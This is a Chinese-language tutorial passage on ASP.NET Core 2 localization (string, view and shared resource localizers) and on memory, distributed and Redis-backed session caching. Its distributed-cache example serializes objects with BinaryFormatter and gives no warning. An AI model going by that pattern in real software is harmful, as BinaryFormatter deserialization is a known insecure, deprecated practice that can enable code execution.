using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Localization;
using MyWebsite.Middlewares;

namespace MyWebsite
{
    [MiddlewareFilter(typeof(CultureMiddleware))]
    public class HomeController : Controller
    {
        private readonly IStringLocalizer _localizer;

        public HomeController(IStringLocalizer<HomeController> localizer)
        {
            _localizer = localizer;
        }

        public IActionResult Index()
        {
            return View();
        }

        public IActionResult Content()
        {
            return Content($"CurrentCulture: {CultureInfo.CurrentCulture.Name}\r\n"
                         + $"CurrentUICulture: {CultureInfo.CurrentUICulture.Name}\r\n"
                         + $"{_localizer["Hello"]}");
        }
    }
}

View

要在 cshtml 使用多國語言的話,要先在 Services 中加入 ViewLocalization
注入 IViewLocalizer,同上把 Resource Key 丟入 Localizer,就可以得到值。

Views\Home\Index.cshtml

1
2
3
4
5
6
7
8
@using System.Globalization
@using Microsoft.AspNetCore.Mvc.Localization

@inject IViewLocalizer localizer

CurrentCulture: @CultureInfo.CurrentCulture.Name <br />
CurrentUICulture: @CultureInfo.CurrentUICulture.Name <br />
@localizer["Hello"]<br />

Model

要在 Model 使用多國語言的話,要先在 Services 中加入 DataAnnotationsLocalization

Models\SampleModel.cs

1
2
3
4
5
6
7
8
9
10
using System.ComponentModel.DataAnnotations;

namespace MyWebsite.Models
{
    public class SampleModel
    {
        [Display(Name = "Hello")]
        public string Content { get; set; }
    }
}

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
// ...
[MiddlewareFilter(typeof(CultureMiddleware))]
public class HomeController : Controller
{
    public IActionResult Index()
    {
        return View(model: new SampleModel());
    }
}

Views\Home\Index.cshtml

1
2
3
4
5
6
7
8
@using System.Globalization
@using MyWebsite.Models

@model SampleModel

CurrentCulture: @CultureInfo.CurrentCulture.Name <br />
CurrentUICulture: @CultureInfo.CurrentUICulture.Name <br />
@Html.DisplayNameFor(m => m.Content)<br />

執行結果

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 範例執行結果

共用語系檔

ASP.NET Core 語系檔命名規則為了與 Controllers、Views、Models 相互對應,可能會產生一大堆檔案,造成維護上的困擾。 因此,可以利用 ASP.NET Core DI 的特性,建立一個共用的語系檔,再將該語系資訊注入至 DI 容器。

建立共用的語系檔 Resources\SharedResource.en-GB.resx,同時建立一個對應的 SharedResource.cs 檔案,內容如下:

Resources\SharedResource.en-GB.resx

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<root>
  <data name="Hello">
    <value>Hello~ This message from Resources\SharedResource.en-GB.resx</value>
  </data>
</root>

SharedResource.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
using Microsoft.Extensions.Localization;

namespace MyWebsite
{
    public class SharedResource
    {
        private readonly IStringLocalizer _localizer;

        public SharedResource(IStringLocalizer<SharedResource> localizer)
        {
            _localizer = localizer;
        }
    }
}

Controller

IStringLocalizer 注入的型別改成 SharedResource,如下:

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using System.Globalization;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Localization;
using MyWebsite.Middlewares;
using MyWebsite.Models;

namespace MyWebsite
{
    [MiddlewareFilter(typeof(CultureMiddleware))]
    public class HomeController : Controller
    {
        private readonly IStringLocalizer _localizer;
        private readonly IStringLocalizer _sharedLocalizer;

        public HomeController(IStringLocalizer<HomeController> localizer,
            IStringLocalizer<SharedResource> sharedLocalizer)
        {
            _localizer = localizer;
            _sharedLocalizer = sharedLocalizer;
        }

        public IActionResult Index()
        {
            return View(model: new SampleModel());
        }

        public string Content()
        {
            return $"CurrentCulture: {CultureInfo.CurrentCulture.Name}\r\n"
                 + $"CurrentUICulture: {CultureInfo.CurrentUICulture.Name}\r\n"
                 + $"{_localizer["Hello"]}\r\n"
                 + $"{_sharedLocalizer["Hello"]}";
        }
    }
}

View

注入 IViewLocalizer 改成注入 IHtmlLocalizer,並指派型別,如下:

Views\Home\Index.cshtml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@using System.Globalization
@using Microsoft.AspNetCore.Mvc.Localization
@using MyWebsite.Models

@model SampleModel

@inject IViewLocalizer localizer
@inject IHtmlLocalizer<MyWebsite.SharedResource> sharedLocalizer

CurrentCulture: @CultureInfo.CurrentCulture.Name <br />
CurrentUICulture: @CultureInfo.CurrentUICulture.Name <br />
@localizer["Hello"]<br />
@Html.DisplayNameFor(m => m.Content)<br />
@sharedLocalizer["Hello"]<br />

執行結果

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 共用語系檔範例執行結果

參考

ASP.NET Core Globalization and localization

[鐵人賽 Day20] ASP.NET Core 2 系列 – 快取機制及 Redis Session

為了程式效率,通常會利用記憶體存取速度遠高於磁碟讀取的特性,把常用但不常變動資料放在記憶體中,提升取用資料的速度。ASP.NET Core 有提供好用的快取機制,不用自己實作控制資料的快取物件。
本篇將介紹 ASP.NET Core 的本機快取及分散式快取,並用使用分散式快取實作 Redis Session,避免 Web Application 重啟後,用戶要重新登入。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day20] ASP.NET Core 2 系列 – 快取機制及 Redis Session

本機快取

本機快取是比較基本的資料快取方式,將資料存在 Web Application 的記憶體中。
如果是單一站台架構,沒有要同步快取資料,用本機快取應該都能滿足需求。

使用本機快取的方式很簡單,只要在 Startup.ConfigureServices 呼叫 AddMemoryCache,就能透過注入 IMemoryCache使用本機快取。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        services.AddMemoryCache();
        // ...
    }
    //...
}

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
using Microsoft.Extensions.Caching.Memory;
//...
public class HomeController : Controller
{
    private static IMemoryCache _memoryCache;

    public HomeController(IMemoryCache memoryCache)
    {
        _memoryCache = memoryCache;
    }

    public IActionResult Index()
    {
        _memoryCache.Set("Sample", new UserModel()
        {
            Id = 1,
            Name = "John"
        });
        var model = _memoryCache.Get<UserModel>("Sample");
        return View(model);
    }
}

用 Get/Set 方法,就可以透過 Key 做為取值的識別,存放任何型別的資料。

分散式快取

當 ASP.NET Core 網站有橫向擴充,架設多個站台需求時,分散式快取就是一個很好的同步快取資料解決方案。
基本上就是 NoSQL 的概念,把分散式快取的資料位置,指向外部的儲存空間,如:SQL Server、Redis 等等。只要繼承 IDistributedCache,就可以被當作分散式快取的服務使用。

本機快取及分散式快取架構,如圖:

[鐵人賽 Day20] ASP.NET Core 2 系列 - 快取機制及 Redis Session - 本機快取及分散式快取架構

在 Startup.ConfigureServices 注入 IDistributedCache 使用分散式快取。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        services.AddDistributedMemoryCache();
        // ...
    }
    //...
}
  • AddDistributedMemoryCache
    是透過實作分散式快取的介面 IDistributedCache,將資料存於本機記憶體中。

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
using Microsoft.Extensions.Caching.Distributed;
//...
public class HomeController : Controller
{
    private static IDistributedCache _distributedCache;

    public HomeController(IDistributedCache distributedCache)
    {
        _distributedCache = distributedCache;
    }

    public IActionResult Index()
    {
        _distributedCache.Set("Sample", ObjectToByteArray(new UserModel()
        {
            Id = 1,
            Name = "John"
        }));
        var model = ByteArrayToObject<UserModel>(_distributedCache.Get("Sample"));
        return View(model);
    }

    private byte[] ObjectToByteArray(object obj)
    {
        var binaryFormatter = new BinaryFormatter();
        using (var memoryStream = new MemoryStream())
        {
            binaryFormatter.Serialize(memoryStream, obj);
            return memoryStream.ToArray();
        }
    }

    private T ByteArrayToObject<T>(byte[] bytes)
    {
        using (var memoryStream = new MemoryStream())
        {
            var binaryFormatter = new BinaryFormatter();
            memoryStream.Write(bytes, 0, bytes.Length);
            memoryStream.Seek(0, SeekOrigin.Begin);
            var obj = binaryFormatter.Deserialize(memoryStream);
            return (T)obj;
        }
    }
}

IDistributedCache 的 Get/Set 不像 IMemoryCache 可以存取任意型別,IDistributedCache 的 Get/Set 只能存取 byte[] 型別,如果要將物件存入分散式快取,就必須將物件轉換成 byte[] 型別,或轉成字串型別用 GetString/SetString 存取於分散式快取。

如果要將物件透過 MemoryStream 序列化,記得在物件加上 [Serializable]

Redis Session

[鐵人賽 Day11] ASP.NET Core 2 系列 – Cookies & Session 有用到 AddDistributedMemoryCache,由於 Session 的儲存位置是依賴分散式快取,但沒有外部分散式快取可用,所以用繼承 IDistributedCache 的本機分散式快取頂著。

安裝套件

如果要在 ASP.NET Core 中使用的 Redis Cache,可以安裝 Microsoft 提供的套件 Microsoft.Extensions.Caching.Redis.Core
透過 .NET Core CLI 在專案資料夾執行安裝指令:

1
dotnet add package Microsoft.Extensions.Caching.Redis.Core

設定 Redis Cache

安裝完成後,將 Startup.ConfigureServices 註冊的分散式快取服務,從 AddDistributedMemoryCache 改成 AddDistributedRedisCache。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        //services.AddDistributedMemoryCache();
        services.AddDistributedRedisCache(options =>
            {
                // Redis Server 的 IP 跟 Port
                options.Configuration = "192.168.99.100:6379";
            });
        // ...
    }
    //...
}

這樣就完成將分散式快取指向 Redis Cache,Session 的註冊方式同 [Day11]
只要設定 AddDistributedRedisCache 就可以使用 Redis Session 了,輕鬆簡單。

ASP.NET MVC 比較

ASP.NET Core 的 Redis Session 跟 ASP.NET MVC 普遍用的 StackExchange.Redis 的運行方式有很大的差異。

  • ASP.NET MVC Redis Session
    StackExchange.Redis 在使用 Redis 時,是把 Website 的 Session 備份到 Redis,讀取還是在 Website 的記憶體,寫入的話會再度備份到 Redis。
    也就是說 Session 會存在於 Website 及 Redis Cache 中,HA 的概念。
    可以試著把 Redis Cache 中 Session 清掉,當使用者下一個 Requset 來的時候,又會重新出現在 Redis Cache 中。
    運行方式如下圖:
    [鐵人賽 Day20] ASP.NET Core 2 系列 - 快取機制及 Redis Session - ASP.NET MVC - Redis Session 運行方式
  • ASP.NET Core Redis Session
    IDistributedCache 運做方式變成 Session 直接在 Redis Cache 存取,如果把 Redis Cache 中 Session 清掉,當使用者下一個 Requset 來的時候,就會發現 Session 被清空了。
    運行方式如下圖:
    [鐵人賽 Day20] ASP.NET Core 2 系列 - 快取機制及 Redis Session - ASP.NET Core - Redis Session 運行方式

參考

In-memory caching in ASP.NET Core
Working with a distributed cache in ASP.NET Core